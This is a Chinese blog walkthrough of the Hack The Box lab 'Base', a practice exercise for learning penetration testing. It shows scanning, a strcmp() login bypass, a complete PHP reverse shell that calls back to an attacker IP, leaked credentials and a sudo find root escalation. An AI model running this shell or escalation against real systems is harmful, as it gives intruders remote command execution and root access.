[StartingPoint][Tier2]Base

news2024/9/28 15:24:17

Task 1

Which two TCP ports are open on the remote host?

(远程服务器开放了哪两个TCP端口?)

$ nmap -sC -sV 10.129.234.232

image.png

22,80

Task 2

What is the relative path on the webserver for the login page?

(相关的登录页面路径是什么?)

image.png

/login/login.php

Task 3

How many files are present in the ‘/login’ directory?

(有多少文件存在login目录)

image.png

3

Task 4

What is the file extension of a swap file?

(交换文件的后缀是什么?)

“swap 文件” 是指操作系统中的交换文件,也称为交换空间。它是用于辅助系统内存的一种技术。当系统内存(RAM)不足以容纳当前正在运行的所有程序和进程时,操作系统会将一些不经常使用的内存数据转移到交换文件中,以释放内存空间供其他程序使用。

交换文件通常位于硬盘驱动器上,并且在需要时动态增长或收缩。它的作用类似于虚拟内存,但不同之处在于虚拟内存可以使用磁盘上的任何空间,而交换文件通常是一个特定的文件或一组文件。

通过将不常用的内存数据移到交换文件中,操作系统可以确保系统保持响应并继续运行,即使物理内存不足时也能够继续执行程序。然而,由于硬盘访问速度比内存访问速度慢得多,使用交换文件可能会导致性能下降。

.swp

Task 5

Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?

(在后端代码中用来比较用户提交的用户名和密码与有效用户名和密码的 PHP 函数是什么?)

image.png

strcmp()

Task 6

In which directory are the uploaded files stored?

(上传文件存储在哪个目录下?)

-word.txt-
/.htaccess
/admin
/login
/_uploaded
/static

$ gobuster dir --url http://10.129.234.232 --wordlist ./word.txt

image.png

/_uploaded

Task 7

Which user exists on the remote host with a home directory?

(远程主机上存在具有主目录的用户是谁?)

image.png

strcmp函数在7.3.0版本之前是可以进行绕过的

image.png

image.png

image.png

// webshell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.5';  // CHANGE THIS
$port = 10032;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}
?>

image.png

image.png

image.png

image.png

john

Task 8

What is the password for the user present on the system?

(登录页面的用户密码是多少(也同样是系统某用户的密码)?)

$ cat /var/www/html/login/config.php

image.png

thisisagoodpassword

Task 9

What is the full path to the command that the user john can run as user root on the remote host?

(用户john在远程主机上可以以root用户身份运行的命令的完整路径是什么?)

image.png

发现可以用find来进行提权

image.png

/usr/bin/find

Task 10

What action can the find command use to execute commands?

(find可以用哪个选项来执行命令?)

exec

User Flag

cat /home/john/user.txt

image.png

f54846c258f3b4612f78a819573d158e

Root Flag

image.png

允许系统用户以更高的权限运行二进制文件并不是一个好主意,因为Linux上的默认二进制文件通常包含可用于运行系统命令的参数。这些二进制文件的一个很好的列表可以在GTFOBins网站上找到。

  • GTFOBins是一个精心策划的Unix二进制文件列表,可用于在配置错误的系统中绕过本地安全限制。

image.png

https://gtfobins.github.io/#

GTFOBins 是一个收集和整理了关于渗透测试和红队攻击中常用的“利用二进制文件”的平台。它提供了一系列常见命令行工具(如find、grep、tar等)的用法示例,这些用法可以被利用来获取特权、绕过安全限制或执行其他恶意操作。GTFOBins提供了一种简单的方式来查找和理解这些利用方法,使安全研究人员和渗透测试人员能够更好地了解和防范这些威胁

$ sudo find . -exec /bin/sh \; -quit

image.png

image.png

# cat /root/root.txt

image.png

51709519ea18ab37dd6fc58096bea949

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1614975.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1 transformers:词典,(文本如何处理)

0 介绍 NLP任务最初&#xff0c;就是在于如何处理文本。无论从TFIDF到word2Vec的过程&#xff0c;还是BERT都是想找到文本的向量表达&#xff0c;如何表示更好处理我们的下游任务。那么&#xff0c;这个过程是如何做的呢&#xff0c;本文主要就是介绍这一个过程&#xff0c;还是…

【C++ 多态】(一)虚函数重写✍

文章目录 1.虚函数重写的三个例外1.1协变(基类与派生类虚函数返回值类型不同)1.2析构函数的重写(基类与派生类析构函数的名字不同)1.3派生类可以不写 virtual 2.面试题✍ 1.虚函数重写的三个例外 1.1协变(基类与派生类虚函数返回值类型不同) ①&#x1f34e;协变的概念&#…

Linux学习之路 -- 进程篇 -- 进程地址空间

目录 一、背景介绍 二、进程地址空间 1.看现象 2.先简单描述一下地址空间&#xff08;地址空间全在操作系统的内部&#xff09; 3.地址空间详细一点的描述 4.进程地址空间里面的内容&#xff08;部分&#xff09; 三、进程地址空间的转换机制 1.页表 2.进程地址空间和页…

牛客NC162 二叉树中和为某一值的路径(三)【中等 dfs C++、Java、Go、PHP】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/965fef32cae14a17a8e86c76ffe3131f 思路 既然要找所有路径上节点和等于目标值的路径个数&#xff0c;那我们肯定先找这样的路径起点啊&#xff0c; 但是我们不知道起点究竟在哪里&#xff0c; 而且任意节点都有…

Navicat 干货 | 掌握 PostgreSQL 规则语法

PostgreSQL 规则提供了一种强大的机制&#xff0c;控制查询执行并在数据库内部实施数据操作。理解规则的语法和用法对于有效利用其功能至关重要。在上周的文章中&#xff0c;我们探讨了 PostgreSQL 规则的工作原理及其与触发器的区别。今天的文章将使用免费的 “dvdrental”示例…

笔记本电脑坏了硬盘数据会丢失吗 笔记本电脑坏了如何取出硬盘的资料 数据恢复软件

笔记本电脑对我们真的非常重要了&#xff0c;是实现无纸化办公和学习的重要工具&#xff0c;但是如果笔记本电脑坏了我们存储在电脑里的资料该怎么办&#xff1f;笔记本电脑坏了硬盘数据会丢失吗&#xff1f;相信有许多朋友都会有这样的担忧。本文今天就为大家解决笔记本电脑坏…

3月衣物清洁行业数据概况和趋势分析:总销额环比上涨超60%!

人们日常生活离不开衣物清洁产品&#xff0c;同时随着生活品质得提高和消费者健康意识得增强&#xff0c;对于衣物清洁行业的需求量与日俱增。作为日常必备的消耗品&#xff0c;衣物清洁产品备受消费者关注。借此&#xff0c;衣物清洁行业在3月份表现出稳定的发展态势。 根据鲸…

【软件测试】关于Web自动化测试

文章目录 &#x1f343;前言&#x1f332;如何实现Web自动化&#x1f6a9;安装驱动管理&#x1f6a9;Selenium库的安装 &#x1f333;自动化常用函数&#x1f6a9;元素的定位&#x1f388;cssSelector&#x1f388;xpath &#x1f6a9;操作测试对象&#x1f388;点击/提交对象—…

洗地机选哪个牌子好?过来人建议买这四款:性价比高质量好

随着生活节奏的加快&#xff0c;洗地机逐渐成为了人们生活中的清洁小能手&#xff0c;但市面上品牌众多&#xff0c;性能参差不齐&#xff0c;消费者往往难以抉择。在选择洗地机时&#xff0c;我们不仅要考虑其清洁效果&#xff0c;还应着重考察性价比。那么&#xff0c;面对如…

3.AlexNet--CNN经典网络模型详解(pytorch实现)

看博客AlexNet--CNN经典网络模型详解&#xff08;pytorch实现&#xff09;_alex的cnn-CSDN博客&#xff0c;该博客的作者写的很详细&#xff0c;是一个简单的目标分类的代码&#xff0c;可以通过该代码深入了解目标检测的简单框架。在这里不作详细的赘述&#xff0c;如果想更深…

[Meachines][Easy]Devvortex

Main $ nmap -p- 10.10.11.242 --min-rate 1000 # echo 10.10.11.242 devvortex.htb>>/etc/hosts 子域名爆破 $ apt install seclists $ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://devvortex.htb/" -H &…

【Transformer】detr梳理

every blog every motto: You can do more than you think. https://blog.csdn.net/weixin_39190382?typeblog 0. 前言 detr detr 1. 引言 论文&#xff1a; https://arxiv.org/pdf/2005.12872v3.pdf 时间&#xff1a; 2020.5.26 作者&#xff1a; Nicolas Carion?, Fra…

陈奂仁联手 The Sandbox 推出“Hamsterz Doodles”人物化身系列

全新人物化身系列结合艺术与实用性 开创元宇宙新篇章 著名亚洲唱作歌手兼香港电影金像奖得主陈奂仁携手 The Sandbox&#xff0c;兴奋地宣布推出新的元宇宙人物化身系列 —— Hamsterz Doodles 仓鼠涂鸦。 陈奂仁在 The Sandbox 推出 Hamsterz Doodles 系列&#xff0c;将艺术与…

智能家居—ESP32开发环境搭建

相关文章 毕业设计——基于ESP32的智能家居系统(语音识别、APP控制) 智能家居—ESP32开发环境搭建 一、下载安装二、验证三、资料获取 一、下载安装 下载安装 vscode 安装插件 创建工程 二、验证 写一个简单的函数来验证一下功能 void setup() {// put your setup c…

类和对象(2)——封装(封装的概念、包、staic)

前言 面向对象程序三大特性&#xff1a;封装、继承、多态。而类和对象阶段&#xff0c;主要研究的就是封装特性。何为封装呢&#xff1f;简单来说就是套壳屏蔽细节。 一、什么是封装 1.1 概念 将数据和操作数据的方法进行有机结合&#xff0c;隐藏对象的属性和实现细节&…

【码农圈子】想加免费的程序员微信群的看过来

群名&#xff1a;码农圈子 很多人后台反应&#xff0c;最近有没有免费的微信技术交流社群 。今天特意写一篇文章来创建一些只有程序猿的微信群。&#xff08;广告党慎入&#xff01;&#xff09; 这些微信技术群都是完全免费&#xff0c;后续也不会收取任何费用 。 群规则 …

Paragon NTFS如何手动更新? Paragon NTFS格式化硬盘会损失数据吗?

Paragon NTFS for Mac常被用于实现在Mac上读写NTFS格式硬盘&#xff0c;然而&#xff0c;有时用户可能会遇到软件无法自动更新的情况&#xff0c;需要进行手动更新操作。下面我们来看看Paragon NTFS如何手动更新&#xff0c;Paragon NTFS格式化硬盘会损失数据吗的相关内容。 一…

Python 使用 pip 安装 matplotlib 模块(精华版)

pip 安装 matplotlib 模块 1.使用pip安装matplotlib(五步实现):2.使用下载的matplotlib画图: 1.使用pip安装matplotlib(五步实现): 长话短说&#xff1a;本人下载 matplotlib 花了大概三个半小时屡屡碰壁&#xff0c;险些暴走。为了不让新来的小伙伴走我的弯路&#xff0c;特意…

【matlab 代码的python复现】 Matlab实现的滤波器设计实现与Python 的库函数相同实现Scipy

实现一个IIR滤波器的设计 背景 Matlab 设计的滤波器通常封装过于完整,虽然在DSP中能够实现更多功能的滤波器设计但是很难实现Python端口的实现。 我们以一段原始的生物电信号EEG信号进行处理。 EEG信号 1.信号获取 EEG信号通常通过头皮电极,经过多通道采样芯片采样,将获…

mysql面试题八(SQL语句)

目录 1.SQL 基本组成部分 常用操作示例 创建表 插入数据 查询数据 更新数据 删除数据 创建索引 授予用户权限 2.常见的聚合查询 1. 计数&#xff08;COUNT&#xff09; 2. 求和&#xff08;SUM&#xff09; 3. 平均值&#xff08;AVG&#xff09; 4. 最大值&…